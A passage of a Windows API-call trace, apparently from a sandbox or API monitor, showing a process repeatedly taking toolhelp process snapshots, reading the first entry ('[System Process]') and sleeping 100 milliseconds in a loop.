lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.409] Sleep (dwMilliseconds=0x64) [0156.510] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d54 [0156.526] Process32First (in: hSnapshot=0x1d54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.688] Sleep (dwMilliseconds=0x64) [0156.790] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b50 [0156.803] Process32First (in: hSnapshot=0x1b50, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.887] Sleep (dwMilliseconds=0x64) [0157.001] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d54 [0157.013] Process32First (in: hSnapshot=0x1d54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.157] Sleep (dwMilliseconds=0x64) [0157.267] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a1c [0157.331] Process32First (in: hSnapshot=0x1a1c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.396] Sleep (dwMilliseconds=0x64) [0157.510] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b7c [0157.565] Process32First (in: hSnapshot=0x1b7c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.647] Sleep (dwMilliseconds=0x64) [0157.748] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a3c [0157.763] Process32First (in: hSnapshot=0x1a3c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.872] Sleep (dwMilliseconds=0x64) [0157.993] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f38 [0158.008] Process32First (in: hSnapshot=0x1f38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.102] Sleep (dwMilliseconds=0x64) [0158.202] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f38 [0158.213] Process32First (in: hSnapshot=0x1f38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.316] Sleep (dwMilliseconds=0x64) [0158.416] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f38 [0158.428] Process32First (in: hSnapshot=0x1f38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.513] Sleep (dwMilliseconds=0x64) [0158.614] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f38 [0158.629] Process32First (in: hSnapshot=0x1f38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.721] Sleep (dwMilliseconds=0x64) [0158.821] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ba4 [0159.019] Process32First (in: hSnapshot=0x1ba4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.088] Sleep (dwMilliseconds=0x64) [0159.188] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d54 [0159.201] Process32First (in: hSnapshot=0x1d54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.281] Sleep (dwMilliseconds=0x64) [0159.394] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d3c [0159.408] Process32First (in: hSnapshot=0x1d3c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.504] Sleep (dwMilliseconds=0x64) [0159.624] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a3c [0159.642] Process32First (in: hSnapshot=0x1a3c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.790] Sleep (dwMilliseconds=0x64) [0159.896] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d54 [0159.917] Process32First (in: hSnapshot=0x1d54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.228] Sleep (dwMilliseconds=0x64) [0160.329] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ba4 [0160.351] Process32First (in: hSnapshot=0x1ba4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.451] Sleep (dwMilliseconds=0x64) [0160.551] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d3c [0160.570] Process32First (in: hSnapshot=0x1d3c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.683] Sleep (dwMilliseconds=0x64) [0160.799] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad8 [0160.815] Process32First (in: hSnapshot=0x1ad8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.059] Sleep (dwMilliseconds=0x64) [0161.166] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4c [0161.177] Process32First (in: hSnapshot=0x1a4c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.246] Sleep (dwMilliseconds=0x64) [0161.347] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a54 [0161.359] Process32First (in: hSnapshot=0x1a54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.521] Sleep (dwMilliseconds=0x64) [0161.622] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f74 [0161.636] Process32First (in: hSnapshot=0x1f74, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.712] Sleep (dwMilliseconds=0x64) [0161.847] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bac [0161.859] Process32First (in: hSnapshot=0x1bac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.995] Sleep (dwMilliseconds=0x64) [0162.107] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bac [0162.137] Process32First (in: hSnapshot=0x1bac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.202] Sleep (dwMilliseconds=0x64) [0162.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bfc [0162.320] Process32First (in: hSnapshot=0x1bfc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.477] Sleep (dwMilliseconds=0x64) [0162.587] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19f0 [0162.603] Process32First (in: hSnapshot=0x19f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.694] Sleep (dwMilliseconds=0x64) [0162.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19e4 [0162.820] Process32First (in: hSnapshot=0x19e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.939] Sleep (dwMilliseconds=0x64) [0163.140] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d54 [0163.152] Process32First (in: hSnapshot=0x1d54, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.337] Sleep (dwMilliseconds=0x64) [0163.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a5c [0163.524] Process32First (in: hSnapshot=0x1a5c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.602] Sleep (dwMilliseconds=0x64) [0163.738] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bb0 [0163.754] Process32First (in: hSnapshot=0x1bb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.835] Sleep (dwMilliseconds=0x64) [0163.943] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d28 [0164.061] Process32First (in: hSnapshot=0x1d28, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.165] Sleep (dwMilliseconds=0x64) [0164.282] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d30 [0164.303] Process32First (in: hSnapshot=0x1d30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.451] Sleep (dwMilliseconds=0x64) [0164.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19e4 [0164.580] Process32First (in: hSnapshot=0x19e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.690] Sleep (dwMilliseconds=0x64) [0164.793] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d28 [0164.809] Process32First (in: hSnapshot=0x1d28, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.905] Sleep (dwMilliseconds=0x64) [0165.032] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a68 [0165.051] Process32First (in: hSnapshot=0x1a68, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.241] Sleep (dwMilliseconds=0x64) [0165.341] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a68 [0165.359] Process32First (in: hSnapshot=0x1a68, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.464] Sleep (dwMilliseconds=0x64) [0165.584] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a78 [0165.606] Process32First (in: hSnapshot=0x1a78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.707] Sleep (dwMilliseconds=0x64) [0165.808] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bec [0165.820] Process32First (in: hSnapshot=0x1bec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.929] Sleep (dwMilliseconds=0x64) [0166.102] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19e4 [0166.139] Process32First (in: hSnapshot=0x19e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.216] Sleep (dwMilliseconds=0x64) [0166.319] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c30 [0166.369] Process32First (in: hSnapshot=0x1c30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.459] Sleep (dwMilliseconds=0x64) [0166.560] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad8 [0166.576] Process32First (in: hSnapshot=0x1ad8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.674] Sleep (dwMilliseconds=0x64) [0166.775] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c30 [0166.916] Process32First (in: hSnapshot=0x1c30, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.032] Sleep (dwMilliseconds=0x64) [0167.219] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a80 [0167.237] Process32First (in: hSnapshot=0x1a80, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.342] Sleep (dwMilliseconds=0x64) [0167.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad8 [0167.455] Process32First (in: hSnapshot=0x1ad8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.544] Sleep (dwMilliseconds=0x64) [0167.741] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c10 [0167.754] Process32First (in: hSnapshot=0x1c10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.824] Sleep (dwMilliseconds=0x64) [0167.925] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0c [0168.052] Process32First (in: hSnapshot=0x1d0c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.178] Sleep (dwMilliseconds=0x64) [0168.338] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d04 [0168.464] Process32First (in: hSnapshot=0x1d04, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.532] Sleep (dwMilliseconds=0x64) [0168.632] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cfc [0168.649] Process32First (in: hSnapshot=0x1cfc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.836] Sleep (dwMilliseconds=0x64) [0168.936] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d04 [0168.953] Process32First (in: hSnapshot=0x1d04, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.197] Sleep (dwMilliseconds=0x64) [0169.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1aac [0169.310] Process32First (in: hSnapshot=0x1aac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.432] Sleep (dwMilliseconds=0x64) [0169.538] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1aac [0169.551] Process32First (in: hSnapshot=0x1aac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.728] Sleep (dwMilliseconds=0x64) [0169.861] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0169.875] Process32First (in: hSnapshot=0x1a90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.955] Sleep (dwMilliseconds=0x64) [0170.057] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ce8 [0170.110] Process32First (in: hSnapshot=0x1ce8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.222] Sleep (dwMilliseconds=0x64) [0170.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ce8 [0170.375] Process32First (in: hSnapshot=0x1ce8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.456] Sleep (dwMilliseconds=0x64) [0170.558] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d04 [0170.573] Process32First (in: hSnapshot=0x1d04, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.691] Sleep (dwMilliseconds=0x64) [0170.791] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cfc [0170.807] Process32First (in: hSnapshot=0x1cfc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.947] Sleep (dwMilliseconds=0x64) [0171.047] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a68 [0171.061] Process32First (in: hSnapshot=0x1a68, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.147] Sleep (dwMilliseconds=0x64) [0171.247] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ab0 [0171.259] Process32First (in: hSnapshot=0x1ab0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.326] Sleep (dwMilliseconds=0x64) [0171.469] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d04 [0171.488] Process32First (in: hSnapshot=0x1d04, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.588] Sleep (dwMilliseconds=0x64) [0171.688] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19e4 [0171.708] Process32First (in: hSnapshot=0x19e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.799] Sleep (dwMilliseconds=0x64) [0171.912] 